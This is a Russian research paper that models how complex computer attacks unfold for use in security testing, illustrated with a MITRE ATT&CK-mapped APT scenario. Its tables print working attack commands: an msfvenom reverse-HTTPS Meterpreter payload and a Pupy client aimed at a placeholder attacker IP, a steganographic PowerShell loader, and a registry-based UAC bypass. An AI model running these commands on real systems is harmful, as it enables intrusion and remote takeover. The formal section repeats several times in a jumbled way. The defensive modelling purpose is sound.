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Цель работы: разработка модели процесса проведения компьютерной атаки.
Метод исследования: теория сложных систем, компаративный анализ в рамках системного анализа и син-

теза.
Результат: показано, что применение предложенной  модели процесса проведения компьютерных атак по-

зволяет полностью описать процесс, учитывая присущие ему особенности и характеристики. Использование в 
модели сведений из базы данных MITRE ATTACK компании Mitre, которая содержит описание тактик, приемов 
и методов, используемых киберпреступниками,  позволяет снизить уровень абстракции и описать конкретные 
сценарии проведения сложных целевых компьютерных атак с максимальным приближением к практике. Раз-
работанную модель предполагается использовать для формирования сценариев компьютерных атак при оценке 
защищенности информационных систем.
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Основным назначением государственной системы 
обнаружения, предупреждения и ликвидации послед-
ствий компьютерных атак на информационные ресур-
сы Российской Федерации (ГосСОПКА) является обе-
спечение защищенности информационных ресурсов 
Российской Федерации от компьютерных атак3. Одной 
из функций, возложенных на ГосСОПКА, является ана-
лиз защищенности информационных систем (ИС) на 
всех этапах их создания и эксплуатации [1, 2]. Наибо-
лее эффективным способом анализа защищенности 
ИС является ее экспериментальная проверка путем 
тестирования специальными информационными воз-
действиями, аналогичными тем, которые будут при-
меняться потенциальным нарушителем по сценариям 
(моделям) проведении реальных информационных 
операций [3-8]. Таким образом, для проведения экспе-
риментальной проверки требуется разработать модель 
проведения компьютерных атак, позволяющую с наи-
большей точностью описать процесс осуществления со-
временных компьютерных атак.

Под компьютерной атакой понимается непрерыв-
ный процесс несанкционированной активности в ин-
фраструктуре атакуемой ИС, удаленно управляемый в 
реальном времени вручную [9]. Современные компью-
терные атаки характеризуются технической сложностью, 
продолжительностью по времени (от месяца до несколь-
ких лет) и многоэтапностью проведения [10, 11].

Анализ моделей процессов проведения компьютер-
ных атак на ИС [12-22] показывает, что для решения 
научной задачи по разработке методики комплексного 
анализа защищенности ИС от современных компью-
терных атак с учетом применяемых ими тактик и техник 
данные модели не подходят по следующим причинам:
•	 высокий уровень абстракции моделей;
•	 время проведения компьютерной атаки (ее этапов) 

является основной рассматриваемой характеристи-
кой в данных моделях. При этом современные ком-
пьютерные атаки отличаются большой продолжитель-
ностью проведения, в связи с чем время не является 
их основной характеристикой; 

•	 модели ограничиваются одним из этапов компьютер-
ной атаки (например, подбор пароля или перехват 
сетевого трафика) и не описывают атаку в целом.
Таким образом, разработка модели процесса про-

ведения компьютерных атак для использования при 
анализе защищенности информационных систем явля-
ется актуальной научной задачей исследования.

Описание примера сценария 
проведения компьютерной атаки

Рассмотрим описание примера сценария ком-
пьютерной атаки – кибероперации (табл. 1), который 
использовался компанией MITRE при тестировании 
средств защиты информации в 2019 году [22] и моде-
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лировал поведение кибергруппировки. В качестве при-
мера возьмем произвольную кибергрупперовку на ос-
нове таксономии MITRE ATT&CK. Выбор был определен 
отсутствием российского аналога атрибуции кибергруп-
перовок, в частности отсутствия соответствующего «ма-
пинга» относительно методики угроз, разрабатываемой 
ФСТЭК России.

На примере вышеописанного сценария компьютер-
ной атаки проведем формализацию данного процесса.

Предположим, что файл ВПО установлен на СВТ од-
ним из способов: путем электронного сообщения, при 
помощи съемного машинного носителя информации 
или путем эксплуатации уязвимости реализации сетево-
го протокола.

Далее разберем сценарий атаки по шагам. В скоб-
ках указаны номера техник в соответствии с MITRE 
ATT&CK4.
Шаг 1 – запуск ВПО на СВТ (первоначальная компро-
метация)

На СВТ легитимный пользователь запускает файл 
вредоносного программного обеспечения (ВПО) 
(T1204.002), фактически являющейся исполняемым, 
но с виду замаскированным под офисный документ 
формата «doc» (T1036.002) (далее – файл ВПО).

После запуска файла создается шифрованное сое-
динение (алгоритм RC4) с центром управления команд-
ного сервера (T1573.001) по специальному сетевому 
порту (T1065).

Установив соединение, нарушитель запускает па-
раллельно на СВТ интерпретаторы командной строки 
«cmd.exe» (T1059.003) и «powershell.exe» (T1059.001).
Шаг 2 – обеспечение канала связи с командным сер-
вером, повышение привилегий и расширение функци-
онала ВПО

Используя существующее соединение, нарушитель 
посредством интерпретаторов командной строки осу-
ществляет загрузку на СВТ файла ВПО с расширенным 
функционалом (T1105) с последующим его запуском.

Новый файл ВПО представляет собой файл изобра-
жения формата «JPG» со скрытым с помощью стегано-
графии сценарием PowerShell (1027.003).

После запуска нового файла ВПО повышаются при-
вилегии с помощью обхода управления учетными запи-
сями пользователей (T1546.015, T1548.002) и создает-
ся новое шифрованное соединение с командным сер-
вером (T1573.001) по протоколу HTTPS (T1071.001). 
Таким образом, у нарушителя появляется привилегиро-
ванный (с правами администратора) доступ к СВТ.

Далее для сокрытия следов нарушитель удаляет ар-
тефакты повышения привилегий из реестра (T1112).
Шаг 3 – получение сведений о СВТ и его окружении, а 
также скрытие следов первичной компрометации

Используя созданное на втором шаге соединение 
с привилегированным доступом, нарушитель посред-
ством интерпретатора «powershell.exe» (T1059.001) за-
гружает на СВТ дополнительное ПО. С целью сокрытия 
дополнительное ПО на СВТ доставляется в зашифрован-
ном виде, после чего распаковывается (T1140).

4  https://attack.mitre.org/

Для усложнения определения сценария первичного 
проникновения нарушитель определяет идентифика-
торы процессов, запущенных на первом шаге атаки 
(T1057), после чего осуществляет их принудительное 
завершение и удаление, связанных с ними файлов 
(T1107).

Далее нарушитель запускает сценарий PowerShell, 
который выполняет широкий спектр команд для полу-
чения сведений о СВТ и его окружении (T1083, T1033, 
T1082, T1016, T1057, T1063, T1069), некоторые из 
которых выполняются путем доступа к Windows API 
(T1106).
Шаг 4 – закрепление на СВТ

Для сохранения доступа к СВТ нарушитель исполь-
зует два способа, обеспечивающих запуск файла ВПО 
при перезагрузке: создает новую службу (T1050) и до-
бавляет файл ВПО в папку автозагрузки (T1060).
Шаг 5 – получение учетных данных

Нарушитель при помощи специального приложения 
извлекает зашифрованные учетные данные из веб-
браузера Google Chrome (T1555.003). При этом данное 
приложение для маскирования предварительно пере-
именовано под легитимную утилиту (T1036.003).

Затем нарушитель осуществляет экспорт из опера-
ционной системы криптографических сертификатов 
пользователей, включая закрытые (T1145), а также 
извлечение из операционной системы хэшей паролей 
(T1003).
Шаг 6 – сбор данных и несанкционированная переда-
ча данных (кража данных) с первично скомпрометиро-
ванного СВТ

Нарушитель осуществляет сбор данных с СВТ: сним-
ки экрана (T1113), данные из буфера обмена (T1115), 
фиксирует нажатие клавиш (T1056). 

Затем нарушитель осуществляет поиск офисных и 
мультимедийных файлов (T1083, T1119), после чего 
производит копирование найденных файлов и собран-
ной информации в отдельный каталог (T1005), содер-
жимое которого сжимается (T1002), зашифровывается 
(T1022) и пересылается на командный сервер наруши-
теля (T1048).
Шаг 7 – переход на другие СВТ (обнаружение других 
СВТ и их компрометация)

В целях определения списка других СВТ информаци-
онной системы, нарушитель используя стандартные за-
просы LDAP, определяет перечень СВТ (T1018).

На обнаруженных СВТ нарушитель определяет иден-
тификаторы сеансов пользователей с помощью сервиса 
удаленного управления Windows (WinRM) (T1021.006). 

Далее на обнаруженные СВТ нарушитель копирует 
файл ВПО для скрытности упакованный UPX (T1027.002) 
и запускает его с помощью утилиты PSExec (T1021.002, 
T1569.002) с использованием учетных данных, полу-
ченных на 5 шаге (T1078).
Шаг 8 – сбор данных и несанкционированная переда-
ча данных (кража данных) с других СВТ, а также скры-
тие следов первичной компрометации

Выполнив соединение с другими СВТ инфор -
мационной системы нарушитель (T1105) устанав-
ливает на СВТ дополнительное ПО, осуществляет 
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Таблица 1 

Примеры техник и способы их реализации, используемых кибергруппировкой в ходе компьютерной атаки

Шаг Техника Способ реализации техники

1

T1204.002 «Нарушитель провоциру-
ет пользователя запустить файл ВПО»

Использование методов социальной инженерии и ма-
скировки файла ВПО под офисный документ

T1036.002 «Маскировка фай-
ла ВПО под легитимный»

Использование специального символа (U+202E) в названии фай-
ла для изменения направления отображения названия (действи-
тельное наименование исполняемого файла «cod.3aka3.scr», ото-
бражается у пользователя как офисный документ «rcs.3aka3.doc»)

T1573.001 «Шифрование кана-
ла связи с командным серве-
ром с использованием симме-
тричных криптоалгоритмов»

Техники реализовываются в файле ВПО cod.3aka3.scr. 
Пример создания файла ВПО с помощью про-
граммного обеспечения (фреймворка):
gen -o cod.3aka3.scr -f client -O windows -A x64 
connect -t ec4 --host <attacker IP>:1234

T1065 «Использование для 
установления канала связи 
с командным сервером не-
стандартный сетевой порт»

его запуск с помощью интерпретатора PowerShell 
(T1059.001).

Затем нарушитель осуществляет поиск офисных и 
мультимедийных файлов (T1083, T1119), после чего 
производит копирование найденных файлов и собран-
ной информации в отдельный каталог (T1005), содер-
жимое которого сжимается (T1002), зашифровывается 
(T1022) и пересылается на командный сервер через 
существующий канал, созданный на 2 шаге (T1041).

Для усложнения определения сценария компроме-
тации СВТ нарушитель удаляет файлы, созданные им в 
процессе доступа и кражи данных (T1107).

Таким образом, приведенный сценарий дает представ-
ление о процессе проведения нарушителем современной 
компьютерной атаки на информационную систему.

Модель процесса проведения компьютерных атак 
Абстрактно компьютерную атаку можно представить 

в следующем виде: требуется успешно осуществить 
k-ые действия на h-ом(ых) средстве(ах) вычислительной 
техники ИС.

Общий алгоритм компьютерной атаки представлен 
на рис.1.

Стоит отметить, что в зависимости от цели в одном 
случае нарушителю будет достаточно осуществить целе-
вые действия на одном СВТ, в другом случае – на не-
скольких СВТ.

Процесс «получение доступа к СВТ» в общем виде 
представлен на рис.2. В скобках приведены номера 
тактик в соответствии с MITRE ATTACK. 

Фактически все цели компьютерной атаки можно 
объединить в две группы: кража данных и нарушение 
функционирования ИС. Исходя из этого, процесс «вы-
полнение целевых действий на СВТ» также целесоо-
бразно разделить на две группы (см. рис.3).

Множество техник, которыми обладает нарушитель, 
и множество способов реализации каждой из техник 
предлагается использовать из MITRE ATTACK. Пример 
техник, используемых кибергруппировкой APT3, и спо-

собы их реализации представлены в таблице 2.
Последовательность выполнения техник зависит от 

наличия необходимых условий на СВТ (например, на-
личие определенной версии ПО), а также от данных 
(«знаний»), полученных после выполнения предыдущих 
техник (например, обнаружив учетные записи пользо-
вателей нарушитель может применить технику «подбор 
пароля» (Т1110.001) или обнаружив на СВТ файлов 
определенных расширений – выполнить технику «авто-
матическая эксфильтрация» (T1020.001)).

Предполагается, что после получения доступа к СВТ 
нарушитель выполнит последовательно несколько тех-
ник из тактики «получение сведений о СВТ и его окру-
жении» (TA0007). Порядок выполнения данных техник 
является случайным, так как данные техники направле-
ны только на сбор информации о СВТ. Решение о том, 
какие техники будут использоваться далее, зависит пре-
жде всего от того, какие ОС, ПО, СрЗИ и данные (файлы) 
на СВТ обнаружил нарушитель. 

При этом стоит отметить, что одной из основных за-
дач нарушителей является максимально долго оставать-
ся незамеченными при проведении компьютерной ата-
ки, отсюда следует, что приоритет использования будет 
отдаваться техникам, удовлетворяющим следующим 
требованиям:
•	 наиболее легко реализуемые, т.е. те, для которых 

имеются условия для выполнения, при этом отсут-
ствуют способы противодействия в принципе или с 
учетом существующей в ИС СЗИ;

•	 наиболее трудно обнаруживаемые применяемыми 
СЗИ, т.е. те, для которых отсутствуют способы обнару-
жения или реализация таких способов труднодости-
жимая.
Последовательность переходов на СВТ будет зави-

сеть от наличия у нарушителя возможности такого пере-
хода (наличие сетевой доступности до СВТ, возможность 
использования удаленных сервисов, наличие учетных 
записей и т.д.), а также от имеющейся информации от 
предназначении СВТ.
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Шаг Техника Способ реализации техники

1

T1059.003 «Запуск команд с ис-
пользованием интерпретатора 
командной строки Windows»

Запуск интерпретатора командной строки че-
рез установленное соединение с помощью про-
граммного обеспечения (фреймворка) «Pupy»:
[pupy] > shell

T1059.001 «Запуск команд 
с использованием интер-
претатора PowerShell»

Запуск интерпретатора PowerShell через установленное соеди-
нение с помощью программного обеспечения (фреймворка):
[pupy (CMD)] > powershell

2

T1105 «Перенос инструмен-
тов атаки с командного сер-
вера на атакованное СВТ»

Выполнение команд в программном обе-
спечении (фреймворка):
[pupy] > upload «/tmp/monkey.png» «C:\
Users\<username>\Downloads\monkey.png»
[pupy] > shell
[pupy CMD] > powershell

T1027.003 «Использование мето-
дов стеганографии для уменьше-
ния вероятности обнаружения»

Пример создания файла ВПО с использова-
нием метода стеганографии с помощью про-
граммного обеспечения «Metasploit» [14]:
msfvenom -p windows/x64/meterpreter/reverse_https 
LHOST=<attacker IP> LPORT=443 --format psh -o meterpreter.ps1
Import-Module .\Invoke-PSImage.ps1
Invoke-PSImage -Script .\meterpreter.ps1 -Out .\
monkey.png -Image .\monkey.jpg

T1546.015 «Атака на си-
стемный механизм опера-
ционной системы COM»

Данный функционал реализуется с использованием по-
лезной нагрузки (payload) «reverse_https», входящей в со-
став программного обеспечения «Metasploit» [8, 23].

[pupy (PowerShell)] >
New-Item -Path HKCU:\Software\Classes -Name Folder -Force;
New-Item -Path HKCU:\Software\Classes\
Folder -Name shell -Force;
New-Item -Path HKCU:\Software\Classes\
Folder\shell -Name open -Force;
New-Item -Path HKCU:\Software\Classes\Folder\
shell\open -Name command -Force;
Set-ItemProperty -Path «HKCU:\Software\Classes\
Folder\shell\open\command» -Name «(Default)»
powershell.exe -noni -noexit -ep bypass -window hidden -c «sal a 
New-Object;Add-Type -AssemblyName ‘System.Drawing’; $g=a 
System.Drawing.Bitmap(‘C:\Users\username\Downloads\
monkey.png’);$o=a Byte[] 4480;for($i=0; $i -le 6; $i++){foreach($x 
in(0..639)){$p=$g.GetPixel($x,$i);$o[$i*640+$x]=([math]::Floor((
$p.B-band15)*16)-bor($p.G-band15))}};$g.Dispose();IEX([System.
Text.Encoding]::ASCII.GetString($o[0..3932]))»
[pupy (PowerShell)] >

Set-ItemProperty -Path «HKCU:\Software\Classes\Folder\
shell\open\command» -Name «DelegateExecute» –Force
[pupy (PowerShell)] > exit
[pupy (CMD)] > %windir%\system32\sdclt.exe
[pupy CMD] > powershell

T1548.002 «Обход механизма UAC»

T1112 «Изменение реестра»

[pupy (PowerShell)] > Remove-Item -Path HKCU:\
Software\Classes\Folder* -Recurse -Force
[pupy (PowerShell)] > exit
[pupy (CMD)] > exit
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Модель процесса проведения компьютерных атак с использованием...

СВТ1 является 
целью?

Получение 
доступа к СВТ1

Начало

Выполнение 
целевых 
действия 
на СВТ1

Цель атаки 
достигнута?

Конец

Получение 
доступа к СВТ2

СВТ2 является 
целью?

Выполнение 
целевых 
действия 
на СВТ2

Получение 
доступа к СВТN

Цель атаки 
достигнута?

Нет                                  Да

Нет                                  Да
Нет                                  Да

Нет                                  Да

СВТN является 
целью?

Выполнение 
целевых 
действия 
на СВТN

Цель атаки 
достигнута?

Нет                                  Да

Нет                                  Да

Рис.1. Общий алгоритм компьютерной атаки

Доставка ВПО (TA0001) и его запуск на СВТ (TA0002)

Получение сведений о СВТ и его окружении (TA0007)
Имеющиеся 

учетные записи 
и их права

Структура 
каталогов и 

файлы
Сведения об ОС 

Перечень 
установленного 

ПО и СрЗИ

Параметры 
конфигурации 

ОС, ПО и СрЗИ
Структура сети
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(TA0006)
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Закрепление 
на СВТ

(TA0003)

Обеспечение 
канала связи 
с командным 

центром
(TA0011)

Переход на следующее СВТ (TA0008)

Рис. 2. Общий вид процесса «получение доступа к СВТ»
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Сбор данных (TA0009)

Несанкционированная передача данных (эксфильтрация) (TA0010)

Воздействие (TA0040)
Уничтожение 

данных
Блокирование 

доступа к данным
Изменение 

данных
Отказ 

функционировании 
СВТ

Отказ  
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Просмотренные 
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Пароли 
к системам/

сервисам

Снимки 
экрана 

монитора

Данные, 
вводимые на 
клавиатуре

Цель – кража данных

Цель – нарушение функционирования ИС

Рис.3. Общий вид процесса «выполнение целевых действий на СВТ»
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техник и способов их реализации, направленных на непосредственное достижение 
цели компьютерной атаки; 

     – множество СВТ ИС, подвергаемым атакам.     ={      , 
     ,…,     },  где n - конечное количество   Т И  выбранных для 
осуществления компьютерной атаки; 

     – процесс «получение доступа к СВТ»; 
     – СВТ, являющееся целью атаки; 
     – процесс «выбора цели - конкретной СВТ (или группы СВТ) для 

компьютерной атаки»; 
     – процесс «выполнение целевых действий на СВТ». 
 
Процессы      и      могут быть представлены в виде математических 

кортежей (2,3): 
      = 〈                〉,  (2) 

где:      – множество техник, которыми обладает нарушитель и которые 
направлены на получение доступа к СВТ; 

      – множество способов реализации каждой из техник; 
 Т  – последовательность выполнения техник; 
   – последовательность перехода на СВТ. 

    = 〈            〉, (3) 
где:      – множество техник, которыми обладает нарушитель и которые 
направлены на непосредственное достижение цели компьютерной атаки; 

      – множество способов реализации каждой из техник; 
 Т  – последовательность выполнения техник. 
Процесс     является дискретным, по результатам которого 

осуществляется выбор «цели», поэтому если все действия процесса      
выполнены, то данная   Т или их группа может (могут) выступать в роли  
     . 
 
Выводы 

Предложенная в статье модель процесса проведения компьютерной атаки 
отличается от известных тем, что позволяет описать не только отдельные этапы, но 
и весь процесс проведения компьютерных атак, учитывая присущие ему 
особенности и характеристики. Использование в модели сведений из базы MITRE 
ATTACK позволяет снизить уровень абстракции и описать конкретные сценарии 
проведения сложных целевых компьютерных атак с максимальным приближение 
к реальности. 

Данную модель предполагается использовать при экспериментальной 
оценке защищенности ИС путем тестирования специальными информационными 
воздействиями. 

 – множество способов реализации каждой из тех-
ник;
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     – нарушитель (или группа лиц), обладающий(щая) множеством 

техник и способов их реализации, направленных на непосредственное достижение 
цели компьютерной атаки; 

     – множество СВТ ИС, подвергаемым атакам.     ={      , 
     ,…,     },  где n - конечное количество   Т И  выбранных для 
осуществления компьютерной атаки; 

     – процесс «получение доступа к СВТ»; 
     – СВТ, являющееся целью атаки; 
     – процесс «выбора цели - конкретной СВТ (или группы СВТ) для 

компьютерной атаки»; 
     – процесс «выполнение целевых действий на СВТ». 
 
Процессы      и      могут быть представлены в виде математических 

кортежей (2,3): 
      = 〈                〉,  (2) 

где:      – множество техник, которыми обладает нарушитель и которые 
направлены на получение доступа к СВТ; 

      – множество способов реализации каждой из техник; 
 Т  – последовательность выполнения техник; 
   – последовательность перехода на СВТ. 

    = 〈            〉, (3) 
где:      – множество техник, которыми обладает нарушитель и которые 
направлены на непосредственное достижение цели компьютерной атаки; 

      – множество способов реализации каждой из техник; 
 Т  – последовательность выполнения техник. 
Процесс     является дискретным, по результатам которого 

осуществляется выбор «цели», поэтому если все действия процесса      
выполнены, то данная   Т или их группа может (могут) выступать в роли  
     . 
 
Выводы 

Предложенная в статье модель процесса проведения компьютерной атаки 
отличается от известных тем, что позволяет описать не только отдельные этапы, но 
и весь процесс проведения компьютерных атак, учитывая присущие ему 
особенности и характеристики. Использование в модели сведений из базы MITRE 
ATTACK позволяет снизить уровень абстракции и описать конкретные сценарии 
проведения сложных целевых компьютерных атак с максимальным приближение 
к реальности. 

Данную модель предполагается использовать при экспериментальной 
оценке защищенности ИС путем тестирования специальными информационными 
воздействиями. 

 – последовательность выполнения техник;
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где: 
     – нарушитель (или группа лиц), обладающий(щая) множеством 

техник и способов их реализации, направленных на непосредственное достижение 
цели компьютерной атаки; 

     – множество СВТ ИС, подвергаемым атакам.     ={      , 
     ,…,     },  где n - конечное количество   Т И  выбранных для 
осуществления компьютерной атаки; 

     – процесс «получение доступа к СВТ»; 
     – СВТ, являющееся целью атаки; 
     – процесс «выбора цели - конкретной СВТ (или группы СВТ) для 

компьютерной атаки»; 
     – процесс «выполнение целевых действий на СВТ». 
 
Процессы      и      могут быть представлены в виде математических 

кортежей (2,3): 
      = 〈                〉,  (2) 

где:      – множество техник, которыми обладает нарушитель и которые 
направлены на получение доступа к СВТ; 

      – множество способов реализации каждой из техник; 
 Т  – последовательность выполнения техник; 
   – последовательность перехода на СВТ. 

    = 〈            〉, (3) 
где:      – множество техник, которыми обладает нарушитель и которые 
направлены на непосредственное достижение цели компьютерной атаки; 

      – множество способов реализации каждой из техник; 
 Т  – последовательность выполнения техник. 
Процесс     является дискретным, по результатам которого 

осуществляется выбор «цели», поэтому если все действия процесса      
выполнены, то данная   Т или их группа может (могут) выступать в роли  
     . 
 
Выводы 

Предложенная в статье модель процесса проведения компьютерной атаки 
отличается от известных тем, что позволяет описать не только отдельные этапы, но 
и весь процесс проведения компьютерных атак, учитывая присущие ему 
особенности и характеристики. Использование в модели сведений из базы MITRE 
ATTACK позволяет снизить уровень абстракции и описать конкретные сценарии 
проведения сложных целевых компьютерных атак с максимальным приближение 
к реальности. 

Данную модель предполагается использовать при экспериментальной 
оценке защищенности ИС путем тестирования специальными информационными 
воздействиями. 

 – последовательность перехода на СВТ.
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где: 
     – нарушитель (или группа лиц), обладающий(щая) множеством 

техник и способов их реализации, направленных на непосредственное достижение 
цели компьютерной атаки; 

     – множество СВТ ИС, подвергаемым атакам.     ={      , 
     ,…,     },  где n - конечное количество   Т И  выбранных для 
осуществления компьютерной атаки; 

     – процесс «получение доступа к СВТ»; 
     – СВТ, являющееся целью атаки; 
     – процесс «выбора цели - конкретной СВТ (или группы СВТ) для 

компьютерной атаки»; 
     – процесс «выполнение целевых действий на СВТ». 
 
Процессы      и      могут быть представлены в виде математических 

кортежей (2,3): 
      = 〈                〉,  (2) 

где:      – множество техник, которыми обладает нарушитель и которые 
направлены на получение доступа к СВТ; 

      – множество способов реализации каждой из техник; 
 Т  – последовательность выполнения техник; 
   – последовательность перехода на СВТ. 

    = 〈            〉, (3) 
где:      – множество техник, которыми обладает нарушитель и которые 
направлены на непосредственное достижение цели компьютерной атаки; 

      – множество способов реализации каждой из техник; 
 Т  – последовательность выполнения техник. 
Процесс     является дискретным, по результатам которого 

осуществляется выбор «цели», поэтому если все действия процесса      
выполнены, то данная   Т или их группа может (могут) выступать в роли  
     . 
 
Выводы 

Предложенная в статье модель процесса проведения компьютерной атаки 
отличается от известных тем, что позволяет описать не только отдельные этапы, но 
и весь процесс проведения компьютерных атак, учитывая присущие ему 
особенности и характеристики. Использование в модели сведений из базы MITRE 
ATTACK позволяет снизить уровень абстракции и описать конкретные сценарии 
проведения сложных целевых компьютерных атак с максимальным приближение 
к реальности. 

Данную модель предполагается использовать при экспериментальной 
оценке защищенности ИС путем тестирования специальными информационными 
воздействиями. 
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осуществления компьютерной атаки; 

     – процесс «получение доступа к СВТ»; 
     – СВТ, являющееся целью атаки; 
     – процесс «выбора цели - конкретной СВТ (или группы СВТ) для 

компьютерной атаки»; 
     – процесс «выполнение целевых действий на СВТ». 
 
Процессы      и      могут быть представлены в виде математических 
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где:      – множество техник, которыми обладает нарушитель и которые 
направлены на получение доступа к СВТ; 

      – множество способов реализации каждой из техник; 
 Т  – последовательность выполнения техник; 
   – последовательность перехода на СВТ. 
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где:      – множество техник, которыми обладает нарушитель и которые 
направлены на непосредственное достижение цели компьютерной атаки; 

      – множество способов реализации каждой из техник; 
 Т  – последовательность выполнения техник. 
Процесс     является дискретным, по результатам которого 

осуществляется выбор «цели», поэтому если все действия процесса      
выполнены, то данная   Т или их группа может (могут) выступать в роли  
     . 
 
Выводы 

Предложенная в статье модель процесса проведения компьютерной атаки 
отличается от известных тем, что позволяет описать не только отдельные этапы, но 
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к реальности. 

Данную модель предполагается использовать при экспериментальной 
оценке защищенности ИС путем тестирования специальными информационными 
воздействиями. 
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ATTACK позволяет снизить уровень абстракции и описать конкретные сценарии 
проведения сложных целевых компьютерных атак с максимальным приближение 
к реальности. 

Данную модель предполагается использовать при экспериментальной 
оценке защищенности ИС путем тестирования специальными информационными 
воздействиями. 

 – множество способов реализации каждой из тех-
ник;

 

 

    

{ 
 
      

    →       
    

    →       
    

    →       } 
 
  

 ,                                              (1)

                                      
где: 
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где:      – множество техник, которыми обладает нарушитель и которые 
направлены на получение доступа к СВТ; 

      – множество способов реализации каждой из техник; 
 Т  – последовательность выполнения техник; 
   – последовательность перехода на СВТ. 

    = 〈            〉, (3) 
где:      – множество техник, которыми обладает нарушитель и которые 
направлены на непосредственное достижение цели компьютерной атаки; 

      – множество способов реализации каждой из техник; 
 Т  – последовательность выполнения техник. 
Процесс     является дискретным, по результатам которого 

осуществляется выбор «цели», поэтому если все действия процесса      
выполнены, то данная   Т или их группа может (могут) выступать в роли  
     . 
 
Выводы 

Предложенная в статье модель процесса проведения компьютерной атаки 
отличается от известных тем, что позволяет описать не только отдельные этапы, но 
и весь процесс проведения компьютерных атак, учитывая присущие ему 
особенности и характеристики. Использование в модели сведений из базы MITRE 
ATTACK позволяет снизить уровень абстракции и описать конкретные сценарии 
проведения сложных целевых компьютерных атак с максимальным приближение 
к реальности. 

Данную модель предполагается использовать при экспериментальной 
оценке защищенности ИС путем тестирования специальными информационными 
воздействиями. 

 – последовательность выполнения техник.

Таблица 2

Техники, используемые кибергруппировкой APT35

Тактика Техника Способ реализации техники

Запуск ВПО 
(ТА0002)

Использование интерпре-
татора командной строки 

cmd.exe (T1059.003)
Запуск команд через командную строку cmd.exe

Закрепле-
ние на СВТ 
(ТA0003)

Создание локальной учет-
ной записи (T1139.001) Создание учетной записи «support_388945a0»

Закрепле-
ние на СВТ 
(ТA0003)

Использование набора стандартных 
утилит «Специальные возможности»

(T1546.008)

Замена исполняемого файла утилиты, отве-
чающей за залипание клавиш (C:\Windows\

System32\sethc.exe) на исполняемый файл ин-
терпретатора командной строки cmd.exe
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Модель процесса проведения компьютерных атак с использованием...

Процесс 
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Выводы
Предложенная в статье модель процесса проведе-

ния компьютерной атаки отличается от известных тем, 
что позволяет описать не только отдельные этапы, но и 
весь процесс проведения компьютерных атак, учиты-

вая присущие ему особенности и характеристики. Ис-
пользование в модели сведений из базы MITRE ATTACK 
позволяет снизить уровень абстракции и описать кон-
кретные сценарии проведения сложных целевых ком-
пьютерных атак с максимальным приближение к ре-
альности.

Данную модель предполагается использовать при 
экспериментальной оценке защищенности ИС путем те-
стирования специальными информационными воздей-
ствиями.
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Model of the process of conducting computer 
attacks using special information influences

Kondakov S.E.6, Rud I.S.7

Purpose of work: development of  a model of the process of conducting a computer attack.
Research method: theory of complex systems, comparative analysis within the framework of system analysis and 

synthesis.
Result: it is shown that the application of the proposed model of the process of conducting computer attacks allows 

you to fully describe the process, taking into account its inherent features and characteristics. The use in the model 
of information from the MITRE ATTACK database of Mitre, which contains a description of the tactics, techniques and 
methods used by cybercriminals, allows you to reduce the level of abstraction and describe specific scenarios for 
conducting complex targeted computer attacks with the maximum approximation to practice. The developed model 
is supposed to be used to form scenarios of computer attacks when assessing the security of information systems.

Keywords: information security price, information system, testing, computer attack scenario, mapping.
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